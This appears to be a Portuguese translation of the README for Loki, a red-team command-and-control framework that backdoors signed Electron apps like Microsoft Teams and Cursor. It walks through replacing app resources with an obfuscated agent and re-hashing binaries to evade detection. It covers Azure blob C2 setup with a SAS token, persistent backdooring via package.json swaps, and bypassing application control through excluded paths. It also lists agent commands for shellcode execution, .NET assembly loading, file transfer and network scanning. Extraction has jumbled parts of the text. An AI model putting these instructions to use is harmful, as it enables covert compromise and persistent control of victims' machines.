
🧙♂️ Comando e Controle em Node.js para Script-Jacking de Aplicações Electron Vulneráveis
Loki é um framework de comando e controle (C2) de estágio 1 escrito em Node.js, criado para fazer script-jacking em aplicativos Electron vulneráveis MITRE ATT&CK T1218.015. Desenvolvido para operações de red team, o Loki permite evasão de software de segurança e contorna controles de aplicativos ao explorar aplicativos Electron confiáveis e assinados.
O script-jacking sequestra o fluxo de execução de um aplicativo Electron ao modificar arquivos JavaScript carregados em tempo de execução com código Node.js arbitrário. Essa técnica pode ser usada para:
Embora várias ferramentas já abordem o uso de script-jacking para encadear a execução a outro processo, o Loki é o primeiro a permitir backdoor e hollow em aplicativos Electron assinados sem invalidar a assinatura de código deles.
Para mais detalhes sobre como o Loki funciona, confira este post do blog:

| Name | Contributions |
|---|---|
| Bobby Cooke | Criador e mantenedor |
| Dylan Tran | Criador |
| Ellis Springe | Testador Alfa |
| Shawn Jones | Código de execução de assembly |
| Trusted Sec | Código do COFFLoader |
| Simon Exley | Criador de vídeo |
| Clinton Elves | Criador de vídeo |
| John Hammond | Criador de vídeo |
Confira este vídeo de John Hammond sobre como criar backdoor no Cursor AI com o Loki C2! 🎩
Confira este vídeo de Simon Exley & Clinton Elves sobre como começar a usar o Loki C2! 🧙♂️
Todos os comandos do agente são escritos em Node.JS nativo e não exigem dependências adicionais ou eventos de carregamento de bibliotecas. Com exceção dos comandos scexec e assembly, que fazem carregamento de biblioteca em keytar.node e assembly.node.
/; \ em caminhos não funcionará.Set - Carregando Nós a partir de Caminhos de Exclusão do Application Controlset para alterar os caminhos de carregamento de assembly.node e scexec.node.ls, cat, cp e mv, você pode enumerar as regras de controle de aplicativo para descobrir um diretório gravável que seja uma exclusão.set para alterar o caminho de carregamento deles para o diretório de exclusão, contornando o controle de aplicativo.[04-04-2025 8:50AM MST] advsim$ help set
Set the Node load paths for assembly node and scexec nodes
set scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node
set assembly_path C:/Users/user/AppData/ExcludedApp/assembly.node
[04-04-2025 8:51AM MST] advsim$ set scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node
SCEXEC Node Load Path Set to : C:/Users/user/AppData/ExcludedApp/scexec.node
Para mais informações sobre os recursos do Agente, clique aqui
Para mais informações sobre os recursos do Cliente, clique aqui
Primeiro, você precisa identificar um aplicativo Electron vulnerável que não faça verificações de integridade de segurança do ASAR, como o Microsoft Teams. Aplicativos mais novos podem ter verificações de integridade que impedem o backdoor. Versões mais antigas do aplicativo alvo têm maior probabilidade de serem vulneráveis.
Você não precisa compilar o agente ao criar backdoor em aplicativos Electron. Basta substituir o conteúdo de {ELECTRONAPP}/resources/app/ pelos arquivos do agente Loki.
cdjavascript-obfuscatornpm install --save-dev javascript-obfuscator
create_agent_payload.js para criar um payload Loki com as informações da sua conta de armazenamentobobby$ node create_agent_payload.js
[+] Provide Azure storage account information:
- Enter Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net
- Enter SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D
[+] Configuration:
- Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net
- SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D
- Meta Container : mllyi2zjmafjm
[+] Updated /Users/bobby/apr2/LokiC2/config.js with storage configuration.
- Enter into the Loki Client UI
Loki Client > Configuration
[+] Modifying PE binaries to have new hashes...
- Payload assembly.node hash : e9d126407264821d3c2d324da0e2d1bc13cbc53e7c56340fe12b07f69b707f02
- Payload keytar.node hash : 292c14ffebd6cae3df99d9fbee525e29a5a704f076b82207eb3e650de45b075d
[+] Payload ready!
- Obfuscated payload in the ./app directory
./app/{ELECTRONAPP}/resources/./app/ do Loki para {ELECTRONAPP}/resources/app/Inicie o cliente GUI do Loki
Na barra de menus, clique em Loki Client > Configuration para abrir a janela de Configurações
Insira os detalhes da sua conta de armazenamento e clique em Save

O agente agora deve aparecer no painel
Clique no agente na tabela do painel para abrir a janela do agente
Teste para garantir que o Loki funcione corretamente
A maneira mais direta de usar o Loki é substituir os arquivos em {ELECTRONAPP}/resources/app/ pelos arquivos do Loki. Isso esvazia o aplicativo, ou seja, ele não funcionará normalmente -- o Loki substituiu a funcionalidade dele.
Se você realmente quiser manter o aplicativo Electron em execução e também implantar o Loki em segundo plano, nem tudo está perdido! John Hammond e eu descobrimos uma maneira de manter o aplicativo Electron real em execução. Adicionamos o arquivo que você precisará em /loki/backdoor/init.js neste repositório.
Atualmente, ele está configurado para funcionar com o Cursor, que foi descoberto como vulnerável por John Hammond.
Para fazer isso, você precisará de:
package.json, em cursor/resources/app/
package.json real/loki/backdoor/init.js para cursor/resources/app/cursor/resources/app/package.json para:
"main":"init.js","type":"module","private":true,Cursor.exe carregará init.js ao ser clicado / executadoinit.js lê o package.jsoninit.js altera "main":"init.js", -> "main":"main.js",
main.js é o Lokiinit.js cria e desassocia um novo Cursor.exe que aponta para o Lokiinit.js lê o package.json novamenteinit.js altera "main":"main.js", ->
Dessa forma, o aplicativo fica persistentemente com backdoor e opera normalmente. Se o aplicativo Cursor for fechado, o Loki continuará rodando em segundo plano.
Futuramente, criarei um script para automatizar isso.
Estas são as instruções de compilação para construir os agentes e clientes. As instruções abrangem várias plataformas, incluindo Windows, Linux e macOS. Recomenda-se compilar o cliente na plataforma e arquitetura de destino.
Se você estiver criando backdoor em um aplicativo Electron, não precisará compilar os agentes.
Não recomendo compilar o agente e usá-lo em operações. As instruções de compilação do agente são para desenvolvimento.
~/Downloads/Teams/Teams.exe*.blob.core.windows.netnetstat.exe ou whoami.exepackage.json do Loki será criado em ~/AppData/Roaming/{NAME} quando o JavaScript do Loki for executado no processo Electron.%LOCALAPPDATA%\Microsoft\Teams\current\app criado%LOCALAPPDATA%\Microsoft\Teams\current\app.asar criado/modificado por instalador/atualizador que não seja do TeamsEste projeto é licenciado sob a Business Source License 1.1. O uso não comercial é permitido nos termos da licença. O uso comercial requer a permissão explícita do autor. Em 3 de abril de 2030, esta licença será convertida para Apache 2.0. Consulte LICENSE para detalhes completos.
| Comando | Descrição |
|---|
help | Exibe a ajuda. Uso: help ou help scan |
pwd | Exibe o diretório de trabalho |
ls | Lista arquivos e diretórios |
cat | Exibe o conteúdo de um arquivo |
env | Exibe as variáveis de ambiente do processo |
spawn | Cria um processo filho |
drives | Lista unidades |
mv | Move um arquivo para um novo destino |
sleep | Dorme por segundos com jitter |
cp | Copia um arquivo de origem para um destino |
exit-all | Encerra o agente; o agente não fará mais callback |
load | Carrega um arquivo PE do Node do disco para o processo |
scexec | Executa shellcode |
assembly | Executa um assembly .NET e obtém a saída do comando |
upload | Envia um arquivo da sua máquina local do operador para a máquina remota do agente |
download | Baixa um arquivo da máquina remota do agente para a máquina local do operador |
scan | Realiza varredura de rede TCP em um intervalo CIDR com as portas selecionadas |
dns | Consulta DNS. Utiliza a configuração de DNS do sistema |
set | Define os caminhos de carregamento do Node para os nós assembly e scexec |
bof | Executa um arquivo COFF e retorna a saída |
"main":"./out/main.js",./out/main.js" é o aplicativo Cursor realinit.js cria e desassocia um novo Cursor.exe que aponta para o Cursor realinit.js captura a saídainit.js lê o package.json pela terceira vezinit.js altera "main":"./out/main.js", -> "main":"init.js",